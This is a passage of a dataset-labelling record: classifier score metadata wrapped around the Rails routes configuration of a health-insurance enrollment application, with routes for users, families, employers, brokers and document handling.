{"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10378, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10378, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:06.613046+00:00", "scoring_key_slot": "primary", "dataset_uid": "b7927030-7e97-4278-add1-baa5f57316ab", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ad10f13af600510a15f8ff80e5b7d96b78697a7d36594a57302d270464f4b887", "source_metadata": {"uuid": "b7927030-7e97-4278-add1-baa5f57316ab", "repo_name": "microsoftgraph/msgraph-beta-sdk-ruby", "relative_path": "lib/privileged_signup_status/privileged_signup_status_request_builder.rb", "category": "TOOL", "algo_rel_score": 0.6410636901855469, "quality_score": 5.749642372131348, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 92, "repo_created_at": "2022-12-28T14:13:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 8, "forks": 1, "issues": 2, "pull_requests": 1}, "file_meta": {"content_id": "ffd0070480030e2c65e26b7d5a7cbfc8fb7d19d3", "size_bytes": 10320, "file_timestamp": 1739277327, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "553ad544e17410a3cad8028206cacaf1310077a2"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 92, "repo_created_at": "2022-12-28T14:13:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 8, "forks": 1, "issues": 2, "pull_requests": 1}, "file_meta": {"content_id": "ffd0070480030e2c65e26b7d5a7cbfc8fb7d19d3", "size_bytes": 10320, "file_timestamp": 1739277327, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "553ad544e17410a3cad8028206cacaf1310077a2", "url": "https://github.com/microsoftgraph/msgraph-beta-sdk-ruby/blob/553ad544e17410a3cad8028206cacaf1310077a2/lib/privileged_signup_status/privileged_signup_status_request_builder.rb"}, "gpt4o_tokens": 1789, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1634743398765108, "noise_severity": 0.030667146772478983, "missing_content_severity": 0.006331144378521798, "factual_density": 3.311796587480376, "pretraining_utility": 0.1163995954238404, "math_density": 0.003711802696388541, "code_density": 3.8814452336760303, "reasoning_density": 0.08046174067126936, "education_level": 2.5823635808864123, "creative_writing_quality": -0.29474718294926455}, "score_applicability": {"education_level": 0.9987632688176841, "creative_writing_quality": 0.0002584279582457361}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/health-connector/enroll/blob/a4e4ef6d39dc4413deace42365abb28cf3e8f741/config/routes.rb", "id": "ruby-0-b9c53beaf28ab7a03fcaec46eab70a47", "text": "Rails.application.routes.draw do\n require 'resque/server'\n# mount Resque::Server, at: '/jobs'\n mount BenefitSponsors::Engine, at: \"/benefit_sponsors\"\n mount BenefitMarkets::Engine, at: \"/benefit_markets\"\n mount TransportGateway::Engine, at: \"/transport_gateway\"\n mount TransportProfiles::Engine, at: \"/transport_profiles\"\n mount SponsoredBenefits::Engine, at: \"/sponsored_benefits\"\n mount Notifier::Engine, at: \"/notifier\"\n\n devise_for :users, :controllers => { :registrations => \"users/registrations\", :sessions => 'users/sessions', :passwords => 'users/passwords' }\n\n get 'check_time_until_logout' => 'session_timeout#check_time_until_logout', :constraints => { :only_ajax => true }\n get 'reset_user_clock' => 'session_timeout#reset_user_clock', :constraints => { :only_ajax => true }\n get 'unsupportive_browser' => 'users#unsupportive_browser'\n\n match \"hbx_admin/about_us\" => \"hbx_admin#about_us\", as: :about_us, via: :get\n match \"individual_market/hbx_admin/update_aptc_csr\" => \"individual_market/hbx_admin#update_aptc_csr\", as: :update_aptc_csr, via: [:get, :post]\n match \"individual_market/hbx_admin/edit_aptc_csr\" => \"individual_market/hbx_admin#edit_aptc_csr\", as: :edit_aptc_csr, via: [:get, :post], defaults: { format: 'js' }\n match \"individual_market/hbx_admin/calculate_aptc_csr\" => \"individual_market/hbx_admin#calculate_aptc_csr\", as: :calculate_aptc_csr, via: :get\n post 'show_hints' => 'welcome#show_hints', :constraints => { :only_ajax => true }\n\n post 'submit_notice' => \"hbx_admin#submit_notice\", as: :submit_notice\n\n namespace :users do\n resources :orphans, only: [:index, :show, :destroy]\n post :challenge, controller: 'security_question_responses', action: 'challenge'\n post :authenticate, controller: 'security_question_responses', action: 'authenticate'\n end\n\n resources :users do\n resources :security_question_responses, controller: \"users/security_question_responses\"\n post \"/security_question_responses/replace\", controller: \"users/security_question_responses\", action: 'replace'\n\n member do\n get :reset_password, :lockable, :confirm_lock, :login_history, :edit, :change_username_and_email\n put :confirm_reset_password, :confirm_change_username_and_email, :update\n post :unlock, :change_password\n end\n end\n\n resources :saml, only: [] do\n collection do\n get :logout\n end\n end\n\n namespace :exchanges do\n\n resources :inboxes, only: [:show, :destroy]\n resources :announcements, only: [:index, :create, :destroy] do\n get :dismiss, on: :collection\n end\n resources :agents_inboxes, only: [:show, :destroy]\n\n resources :hbx_profiles do\n root 'hbx_profiles#show'\n\n collection do\n post :reinstate_enrollment\n get :family_index\n get :family_index_dt\n get :outstanding_verification_dt\n post :families_index_datatable\n get :employer_index\n post :employer_poc_datatable\n get :employer_invoice\n get :employer_datatable\n post :employer_invoice_datatable\n post :generate_invoice\n get :edit_force_publish\n post :force_publish\n get :broker_agency_index\n get :general_agency_index if Settings.aca.general_agency_enabled\n get :issuer_index\n match \"marketplace_plan_years/:market\" => \"hbx_profiles#marketplace_plan_years\", as: :marketplace_plan_years, via: :get\n match \"marketplace_plan_years/:market/:year\" => \"hbx_profiles#marketplace_plan_year\", as: :marketplace_plan_year, via: :get\n match \"marketplace_plan_years/:market/:year/:id\" => \"hbx_profiles#carrier\", as: :carrier, via: :get\n match \"marketplace_plan_years/:market/:year/:id/:product_id\" => \"hbx_profiles#plan_details\", as: :plan_details, via: :get\n put :mark_pvp_eligibilities\n get :product_index\n get :configuration\n post :set_date\n post :update_setting\n get :staff_index\n get :assister_index\n get :aptc_csr_family_index\n get :binder_index\n get :binder_index_datatable\n post :binder_paid\n get :verification_index\n get :cancel_enrollment\n post :update_cancel_enrollment\n get :terminate_enrollment\n post :update_terminate_enrollment\n post :add_new_sep\n get :update_effective_date\n get :calculate_sep_dates\n get :add_sep_form\n get :hide_form\n get :show_sep_history\n get :view_terminated_hbx_enrollments\n get :view_enrollment_to_update_end_date\n post :update_enrollment_termianted_on_date\n get :calendar_index\n get :user_account_index\n get :get_user_info\n get :oe_extendable_applications\n get :oe_extended_applications\n get :edit_open_enrollment\n post :extend_open_enrollment\n post :close_extended_open_enrollment\n get :new_benefit_application\n post :create_benefit_application\n get :edit_fein\n post :update_fein\n end\n\n member do\n post :transmit_group_xml\n get :transmit_group_xml\n get :home\n get :inbox\n end\n\n # resources :hbx_staff_roles, shallow: true do\n resources :hbx_staff_roles do\n # root 'hbx_profiles/hbx_staff_roles#show'\n end\n end\n\n resources :employer_applications do\n put :terminate\n put :cancel\n get :application_history\n collection do\n get :get_term_reasons\n put :reinstate\n put :revise_end_date\n get :confirmation_details\n end\n end\n\n resources :agents do\n collection do\n get :home\n get :begin_employee_enrollment\n get :resume_enrollment\n get :show\n end\n member do\n get :inbox\n end\n end\n\n resources :broker_applicants\n resources :security_questions\n\n # get 'hbx_profiles', to: 'hbx_profiles#welcome'\n # get 'hbx_profiles/:id', to: 'hbx_profiles#show', as: \"my_account\"\n # get 'hbx_profiles/new'\n # get 'hbx_profiles/create'\n # get 'hbx_profiles/update'\n # get 'hbx_profiles/broker_agency_index'\n # get 'hbx_profiles/insured_index'\n end\n\n namespace :insured do\n get 'paper_applications/upload', to: 'paper_applications#upload'\n post 'paper_applications/upload', to: 'paper_applications#upload'\n get 'paper_applications/download/:key', to: 'paper_applications#download'\n\n resources :plan_shoppings, :only => [:show] do\n member do\n get 'plans'\n get 'receipt'\n get 'print_waiver'\n post 'checkout'\n get 'thankyou'\n get 'waive'\n post 'terminate'\n post 'set_elected_aptc'\n end\n end\n\n resources :inboxes, only: [:new, :create, :show, :destroy]\n resources :families, only: [:show] do\n get 'new'\n member do\n delete 'delete_consumer_broker'\n get 'generate_out_of_pocket_url'\n end\n\n collection do\n get 'home'\n get 'manage_family'\n get 'personal'\n get 'inbox'\n get 'brokers'\n get 'verification'\n get 'upload_application'\n get 'document_upload'\n get 'find_sep'\n post 'record_sep'\n get 'check_qle_date'\n get 'check_move_reason'\n get 'check_insurance_reason'\n get 'check_marriage_reason'\n get 'purchase'\n get 'family'\n get 'upload_notice_form'\n post 'upload_notice'\n end\n\n resources :people do\n collection do\n get 'search'\n end\n end\n end\n\n resources :consumer_role, controller: 'consumer_roles', only: [:create, :edit, :update] do\n get :ssn_taken, on: :collection\n get :search, on: :collection\n get :privacy, on: :collection\n post :match, on: :collection\n post :build, on: :collection\n get :ridp_agreement, on: :collection\n get :immigration_document_options, on: :collection\n ##get :privacy, on: :collection\n end\n\n resources :employee, :controller=>\"employee_roles\", only: [:create, :edit, :update, :show] do\n collection do\n get 'new_message_to_broker'\n post 'send_message_to_broker'\n post :match\n get 'search'\n get 'privacy'\n get 'welcome'\n end\n end\n\n root 'families#home'\n\n resources :family_members\n\n resources :group_selections, controller: \"group_selection\", only: [:new, :create] do\n collection do\n post :terminate\n get :terminate_selection\n get :terminate_confirm\n end\n end\n\n #insured/members_selection\n resources :members_selections, controller: \"members_selection\", only: [:new, :create] do\n collection do\n get :fetch\n get :eligible_coverage_selection\n end\n end\n\n resources :product_shoppings, controller: \"product_shoppings\", only: [] do\n member do\n get 'waive'\n get 'print_waiver'\n end\n\n collection do\n get 'continuous_show'\n get 'thankyou'\n post 'checkout'\n get 'receipt'\n get 'waiver_thankyou'\n post 'waiver_checkout'\n get 'waiver_receipt'\n end\n end\n end\n\n namespace :employers do\n\n # Redirect from Enroll old model to Enroll new model\n match '/employer_profiles/new' , to: redirect('/benefit_sponsors/profiles/registrations/new?profile_type=benefit_sponsor'), via: [:get, :post]\n #match '/employer_profiles/:id/*path' , to: redirect('/'), via: [:get, :post]\n #match '/employer_profiles/:id' , to: redirect('/'), via: [:get, :post]\n match '/' , to: redirect('/benefit_sponsors/profiles/registrations/new?profile_type=benefit_sponsor'), via: [:get, :post]\n\n resources :premium_statements, :only => [:show]\n\n resources :employer_attestations do\n get 'authorized_download'\n get 'verify_attestation'\n delete 'delete_attestation_documents'\n #get 'revert_attestation'\n post 'edit', on: :member # This POST request hides sensitive data per security review\n end\n\n resources :employer_profiles do\n get 'new'\n get 'show_profile'\n get 'link_from_quote'\n get 'consumer_override'\n post 'bulk_employee_upload'\n\n member do\n #match '/:id/*path' , to: redirect('/'), via: [:get, :post]\n get \"download_invoice\"\n get 'new_document'\n post 'download_documents'\n post 'delete_documents'\n post 'upload_document'\n post 'generate_checkbook_urls'\n end\n\n collection do\n get 'welcome'\n post 'match'\n get 'inbox'\n get 'generate_sic_tree'\n end\n resources :plan_years do\n get \"late_rates_check\"\n get 'reference_plans'\n get 'dental_reference_plans'\n get 'generate_dental_carriers_and_plans'\n get 'generate_health_carriers_and_plans', on: :collection\n get 'plan_details' => 'plan_years#plan_details', on: :collection\n get 'recommend_dates', on: :collection\n get 'reference_plan_options', on: :collection\n post 'revert'\n post 'publish'\n post 'force_publish'\n get 'search_reference_plan', on: :collection\n post 'make_default_benefit_group'\n post 'delete_benefit_group'\n get 'calc_employer_contributions', on: :collection\n get 'calc_offered_plan_contributions', on: :collection\n get 'employee_costs', on: :collection\n get 'reference_plan_summary', on: :collection\n\n end\n\n resources :census_employees, only: [:new, :create, :edit, :update, :show] do\n get :delink\n get :terminate\n get :rehire\n get :cobra\n collection do\n get :confirm_effective_date\n post :change_expected_selection\n end\n get :cobra_reinstate\n get :benefit_group, on: :member\n end\n end\n end\n\n # match 'thank_you', to: 'broker_roles#thank_you', via: [:get]\n\n match 'broker_registration', to: redirect('benefit_sponsors/profiles/registrations/new?profile_type=broker_agency'), via: [:get]\n match 'check_ach_routing_number', to: 'broker_agencies/broker_roles#check_ach_routing', via: [:get]\n\n namespace :carriers do\n resources :carrier_profiles do\n end\n end\n\n namespace :broker_agencies do\n resources :profiles, only: [] do\n\n resources :applicants\n end\n\n resources :broker_roles do\n\n resources :quotes do\n root 'quotes#index'\n collection do\n post :quotes_index_datatable\n get :new_household, :format => \"js\"\n post :update_benefits\n post :publish_quote\n get :get_quote_info\n get :copy\n get :set_plan\n get :publish\n get :criteria\n get :plan_comparison\n get :health_cost_comparison\n get :dental_cost_comparison\n get 'published_quote/:id', to: 'quotes#view_published_quote'\n get :export_to_pdf\n get :download_pdf\n get :dental_plans_data\n get :my_quotes\n get :employees_list\n get :employee_type\n end\n member do\n get :upload_employee_roster\n post :build_employee_roster\n get :delete_quote #fits with our dropdown ajax pattern\n get :download_employee_roster\n post :delete_member\n delete :delete_household\n post :delete_benefit_group\n get :delete_quote_modal\n end\n\n resources :quote_benefit_groups do\n get :criteria\n get :get_quote_info\n post :update_benefits\n get :plan_comparison\n end\n end\n end\n end\n\n if Settings.aca.general_agency_enabled\n match 'general_agency_registration', to: 'general_agencies/profiles#new_agency', via: [:get]\n namespace :general_agencies do\n root 'profiles#new'\n resources :profiles do\n collection do\n get :new_agency_staff\n get :search_general_agency\n get :new_agency\n get :messages\n get :agency_messages\n get :inbox\n get :edit_staff\n post :update_staff\n end\n member do\n get :employers\n get :families\n get :staffs\n end\n end\n resources :inboxes, only: [:new, :create, :show, :destroy] do\n get :msg_to_portal\n end\n end\n end\n resources :translations\n\n ############################# TO DELETE BELOW ##############################\n\n # FIXME: Do this properly later\n namespace :products do\n resources :plans, controller: :qhp, :only => [] do\n collection do\n get 'comparison'\n get 'summary'\n end\n end\n end\n\n resources :people, only: [:index, :update]\n\n match 'families/home', to: 'insured/families#home', via:[:get], as: \"family_account\"\n\n match \"hbx_profiles/edit_dob_ssn\" => \"exchanges/hbx_profiles#edit_dob_ssn\", as: :edit_dob_ssn, via: [:get, :post]\n match \"hbx_profiles/update_dob_ssn\" => \"exchanges/hbx_profiles#update_dob_ssn\", as: :update_dob_ssn, via: [:get, :post], defaults: { format: 'js' }\n match \"hbx_profiles/verify_dob_change\" => \"exchanges/hbx_profiles#verify_dob_change\", as: :verify_dob_change, via: [:get], defaults: { format: 'js' }\n\n resources :families do\n get 'page/:page', :action => :index, :on => :collection\n\n resources :family_members, only: [:index, :new, :create]\n resources :households\n end\n\n resources :family_members, only: [:show, :edit, :update] do\n member do\n get :link_employee\n get :challenge_identity\n end\n end\n\n resources :invitations, only: [] do\n member do\n get :claim\n end\n end\n\n get \"document/employees_template_download\" => \"documents#employees_template_download\", as: :document_employees_template_download\n get \"document/authorized_download/:model/:model_id/:relation/:relation_id\" => \"documents#authorized_download\", as: :authorized_document_download\n\n resources :documents, only: [:destroy] do\n get :product_sbc_download\n get :employer_attestation_document_download\n get :autocomplete_organization_legal_name, :on => :collection\n collection do\n put :change_person_aasm_state\n get :show_docs\n end\n end\n\n # The priority is based upon order of creation: first created -> highest priority.\n # See how all your routes lay out with \"rake routes\".\n\n\n # Example of regular route:\n # get 'products/:id' => 'catalog#view'\n\n # Example of named route that can be invoked with purchase_url(id: product.id)\n # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase\n\n # Example resource route (maps HTTP verbs to controller actions automatically):\n # resources :products\n\n # Example resource route with options:\n # resources :products do\n # member do\n # get 'short'\n # post 'toggle'\n # end\n #\n # collection do\n # get 'sold'\n # end\n # end\n\n # Example resource route with sub-resources:\n # resources :products do\n # resources :comments, :sales\n # resource :seller\n # end\n\n # Example resource route with more complex sub-resources:\n # resources :products do\n # resources :comments\n # resources :sales do\n # get 'recent', on: :collection\n # end\n # end\n\n # Example resource route with concerns:\n # concern :toggleable do\n # post 'toggle'\n # end\n # resources :posts, concerns: :toggleable\n # resources :photos, concerns: :toggleable\n\n # Example resource route within a namespace:\n # namespace :admin do\n # # Directs /admin/products/* to Admin::ProductsController\n # # (app/controllers/admin/products_controller.rb)\n # resources :products\n # end\n #\n # You can have the root of your site routed with \"root\"\n\n # individual market controllers and actions routing\n if Settings.aca.market_kinds.include?(\"individual\")\n namespace :individual_market do\n resources :documents, only: [] do\n collection do\n put :update_verification_type\n get :enrollment_verification\n put :extend_due_date\n get :fed_hub_request\n post :fed_hub_request\n end\n end\n\n resources :family_members do\n get :resident_index, on: :collection\n get :new_resident_dependent, on: :collection\n get :edit_resident_dependent, on: :member\n get :show_resident_dependent, on: :member\n end\n\n namespace :insured do\n get 'verification_documents/upload', to: 'verification_documents#upload'\n post 'verification_documents/upload', to: 'verification_documents#upload'\n get 'verification_documents/download/:key', to: 'verification_documents#download'\n\n resources :interactive_identity_verifications, only: [:create, :new, :update]\n end\n\n namespace :exchanges do\n resources :agents do\n collection do\n get :begin_consumer_enrollment\n end\n end\n\n resources :hbx_profiles do\n collection do\n get :request_help\n end\n end\n\n resources :residents, only: [:create, :edit, :update] do\n get :search, on: :collection\n post :match, on: :collection\n post :build, on: :collection\n get :begin_resident_enrollment, on: :collection\n get :resume_resident_enrollment, on: :collection\n get :ridp_bypass, on: :collection\n get :find_sep, on: :collection\n end\n end\n\n namespace :api, :defaults => {:format => 'xml'} do\n namespace :v1 do\n resources :slcsp, :only => [] do\n collection do\n post :plan\n end\n end\n end\n end\n end\n end\n\n root 'welcome#index'\nend\n", "text_preview": "Rails.application.routes.draw do require 'resque/server' # mount Resque::Server, at: '/jobs' mount BenefitSponsors::Engine, at: \"/benefit_sponsors\" mount BenefitMarkets::Engine, at: \"/benefit_markets\" mount TransportGateway::Engine, at: \"/t", "input_sha256": "79bf008711b8143fc1e9923c76013f15c1779a284ad8f8a2302ae019fbbf7cff", "text_sha256": "b9c53beaf28ab7a03fcaec46eab70a4708f39e99755614e45a282939e5f00d0d", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16073, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7160082551557387, "noise_severity": 0.8246532548859155, "missing_content_severity": 0.017801968239016305, "factual_density": 3.5732903458530463, "pretraining_utility": 0.08220421455292004, "math_density": 0.0016610836889826316, "code_density": 3.878311246511838, "reasoning_density": 0.048866052845787114, "education_level": 2.4636514103475027, "creative_writing_quality": -0.4049242617012115}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.024143074668902198, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9893181816410505, "secondary": 0.9144013698435095, "tertiary": 0.9395941434110596, "structured_records": 0.39820074064103406, "procedural_steps": 0.0005905032728493247, "worked_solution": 0.00011858521937460347, "contextual_dialogue": 5.8205023998256525e-06, "content_quality": 0.4501229533877754, "noise_severity": 0.31278895426173714, "missing_content_severity": 0.9851650264674864, "factual_density": 0.6444086215442052, "pretraining_utility": 0.4444735858881105, "math_density": 0.9986157635925145, "code_density": 0.8985927054265317, "reasoning_density": 0.9592782892951774, "education_level": 0.4799967524365749, "creative_writing_quality": 0.9995236422113419, "primary_topic": 0.9546746373646404, "secondary_topic": 0.5917673536492243}, "probability_margin": {"primary": 0.9831495460503565, "secondary": 0.8762137431478099, "tertiary": 0.9182046983673852, "education_level": 0.19645196033738616, "creative_writing_quality": 0.9994516624288831, "primary_topic": 0.9364571625529562, "secondary_topic": 0.37749750976299545}, "raw_probabilities": {"primary": {"Academic Writing": 4.633678083886994e-05, "Content Listing": 0.0007534271546025366, "Creative Writing": 2.4394515382988687e-05, "Customer Support Page": 2.1393934972093427e-05, "Q&A Forum": 1.6868243243725253e-05, "Discussion Thread": 1.3509627688737874e-05, "Comment Section": 2.277488721323636e-05, "Missing Content": 4.3979508519670356e-05, "Knowledge Article": 9.616236938536835e-05, "Legal Notices": 5.8433100382480934e-05, "News Article": 9.497168555934818e-06, "Organizational Announcement": 2.243377304332396e-05, "Nonfiction Writing": 1.699499047606713e-05, "Organizational About Page": 2.7231364848915962e-05, "Personal About Page": 1.535312335842153e-05, "Personal Blog": 1.4220980552193265e-05, "Product Page": 1.4486756950974518e-05, "Spam / Ads": 1.7872761891376517e-05, "Structured Data": 0.006613711355650103, "Technical Writing": 0.9897632574060067, "Transcript / Interview": 2.525159808294731e-05, "Tutorial / How-To Guide": 0.00018202932885799636, "User Reviews": 1.0259725328448404e-05, "Other / Unknown": 0.002170119544166789}, "secondary": {"Academic Writing": 0.0003177973247942984, "Content Listing": 0.005475491141611231, "Creative Writing": 0.00023371040208446152, "Customer Support Page": 0.00030795364224538716, "Q&A Forum": 0.0001452942477857692, "Discussion Thread": 0.00012296795166260685, "Comment Section": 0.002844293396269055, "Missing Content": 0.0005672015549188678, "Knowledge Article": 0.0005682042342549011, "Legal Notices": 0.00039820781787352344, "News Article": 0.00017591405816194845, "Organizational Announcement": 0.00020356531166984776, "Nonfiction Writing": 0.00017277105051665694, "Organizational About Page": 0.0002316329426914038, "Personal About Page": 0.00014424744927890205, "Personal Blog": 0.0001434602566019834, "Product Page": 0.00010855351169326976, "Spam / Ads": 0.0001844789345125979, "Structured Data": 0.04175423628555337, "Technical Writing": 0.02454764109597423, "Transcript / Interview": 0.00019361474928364256, "Tutorial / How-To Guide": 0.003111529950881336, "User Reviews": 7.925325631752352e-05, "NONE": 0.9179679794333633}, "tertiary": {"Academic Writing": 0.00021102454996575564, "Content Listing": 0.005834167403648935, "Creative Writing": 0.00018880190194213537, "Customer Support Page": 0.0002818501457478327, "Q&A Forum": 9.871679612437584e-05, "Discussion Thread": 8.766281941406484e-05, "Comment Section": 0.0027264355590746196, "Missing Content": 0.0006226756482600249, "Knowledge Article": 0.0006252862367169041, "Legal Notices": 0.0003986287065426411, "News Article": 0.00011955098039896456, "Organizational Announcement": 0.0001491526891283632, "Nonfiction Writing": 0.00013490966126062853, "Organizational About Page": 0.00018889870659561005, "Personal About Page": 9.767079248657531e-05, "Personal Blog": 9.809052334431362e-05, "Product Page": 8.747487536861193e-05, "Spam / Ads": 0.00012777723306789293, "Structured Data": 0.023906355734880314, "Technical Writing": 0.013676269584405931, "Transcript / Interview": 0.00012638581423212998, "Tutorial / How-To Guide": 0.008047918944846163, "User Reviews": 5.324059028170691e-05, "NONE": 0.9421110541022655}, "structured_records": {"false": 0.6017992593589659, "true": 0.39820074064103406}, "procedural_steps": {"false": 0.9994094967271506, "true": 0.0005905032728493247}, "worked_solution": {"false": 0.9998814147806254, "true": 0.00011858521937460347}, "contextual_dialogue": {"false": 0.9999941794976002, "true": 5.8205023998256525e-06}, "content_quality": {"-2": 0.010823543759176503, "-1": 0.07433431043158886, "0": 0.2907828482487581, "1": 0.43612894201527247, "2": 0.18793035554520404}, "noise_severity": {"0": 0.4146660140910042, "1": 0.376292750039016, "2": 0.18481539309860276, "3": 0.01817365243581425, "4": 0.006052190335562783}, "missing_content_severity": {"0": 0.9869945455425323, "1": 0.009767002063571754, "2": 0.001956926290902546, "3": 0.0010049908183341187, "4": 0.0002765352846592757}, "factual_density": {"0": 0.003984638766989525, "1": 0.006811087614786411, "2": 0.06065066297576004, "3": 0.2690365102831163, "4": 0.6595171003593477}, "pretraining_utility": {"-2": 0.028046945482767403, "-1": 0.23611985022513887, "0": 0.4112650010285556, "1": 0.2747184507834828, "2": 0.04984975248005547}, "math_density": {"0": 0.9989320234416692, "1": 0.0007627339932747567, "2": 0.00012608380655407356, "3": 7.045295140889701e-05, "4": 0.0001087058070932593}, "code_density": {"0": 0.0002649389851880707, "1": 0.0005837831278846908, "2": 0.014476487940929208, "3": 0.0899246722818972, "4": 0.8947501176641008}, "reasoning_density": {"0": 0.9574046615514318, "1": 0.03745578312431792, "2": 0.004310554402605856, "3": 0.0005268427703207182, "4": 0.00030215815132383136}, "education_level": {"none": 0.0016086252093976583, "0": 0.001616845161541472, "1": 0.007956626393514262, "2": 0.5666639603638124, "3": 0.37021200002642624, "4": 0.051941942845308044}, "creative_writing_quality": {"not_applicable": 0.9996030351761183, "-2": 7.340334127935242e-05, "-1": 0.00010294308103132475, "0": 0.00015137274723519173, "1": 4.948223331295038e-05, "2": 1.9763421022743074e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.3512157853459056e-05, "Art & Design": 0.0001149176084050604, "Law & Crime": 0.0002670743835273202, "Education & Careers": 0.00026166527931850106, "Entertainment & Media": 5.9510483366425476e-05, "Fashion & Beauty": 0.00013185902401961818, "Business, Economics & Finance": 0.01996075798996729, "Food & Dining": 0.00016973860486843822, "Games & Gaming": 0.00011808708026816937, "Electronics & Hardware": 0.00016277936859023407, "Health, Healthcare & Wellness": 0.01013112477915029, "History & Geography": 8.07641220156676e-05, "Home, Pets & Hobbies": 0.00010937211482009565, "Industry & Production": 0.00010162937119400053, "Language, Literature & Philosophy": 7.941930611548887e-05, "Politics & Government": 0.0037564896892425797, "Religion & Spirituality": 9.772067955774283e-05, "Science, Mathematics & Engineering": 0.0002013619812622674, "Relationships & Community": 0.0003556971401251752, "Software Usage & Applications": 0.003947146934358808, "Programming & Software Engineering": 0.9564179205429235, "Sports & Fitness": 0.00010273991034836325, "Vehicles & Transportation": 7.097529772174181e-05, "Travel & Tourism": 0.00010488058623439436, "Other / Uncovered Subject": 0.002787183525957236, "Unknown / Insufficient Content": 0.00035567203878811537}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007676863086706212, "Art & Design": 0.0009023911446387763, "Law & Crime": 0.0028407931548177323, "Education & Careers": 0.0017434749935206567, "Entertainment & Media": 0.0006742072023846221, "Fashion & Beauty": 0.0006957063606739402, "Business, Economics & Finance": 0.22997109951510486, "Food & Dining": 0.0007098282391553347, "Games & Gaming": 0.0005883310800307036, "Electronics & Hardware": 0.0008058325876345381, "Health, Healthcare & Wellness": 0.059739483959206634, "History & Geography": 0.00048457325922941015, "Home, Pets & Hobbies": 0.0006595370348107487, "Industry & Production": 0.000532975195959366, "Language, Literature & Philosophy": 0.000379855094873554, "Politics & Government": 0.01088883470897407, "Religion & Spirituality": 0.00084902589132461, "Science, Mathematics & Engineering": 0.0007194070948864846, "Relationships & Community": 0.0012186074608966414, "Software Usage & Applications": 0.011745129987242224, "Programming & Software Engineering": 0.05927503983767455, "Sports & Fitness": 0.000420113152023114, "Vehicles & Transportation": 0.0002985004843450211, "Travel & Tourism": 0.0005550581050614262, "Other / Uncovered Subject": 0.005065898868760112, "NONE": 0.6074686092781003}}, "probabilities": {"primary": {"Academic Writing": 4.633678083886995e-05, "Content Listing": 0.0007534271546025367, "Creative Writing": 2.439451538298869e-05, "Customer Support Page": 2.139393497209343e-05, "Q&A Forum": 1.6868243243725257e-05, "Discussion Thread": 1.3509627688737876e-05, "Comment Section": 2.2774887213236362e-05, "Missing Content": 4.397950851967036e-05, "Knowledge Article": 9.616236938536837e-05, "Legal Notices": 5.843310038248094e-05, "News Article": 9.49716855593482e-06, "Organizational Announcement": 2.2433773043323965e-05, "Nonfiction Writing": 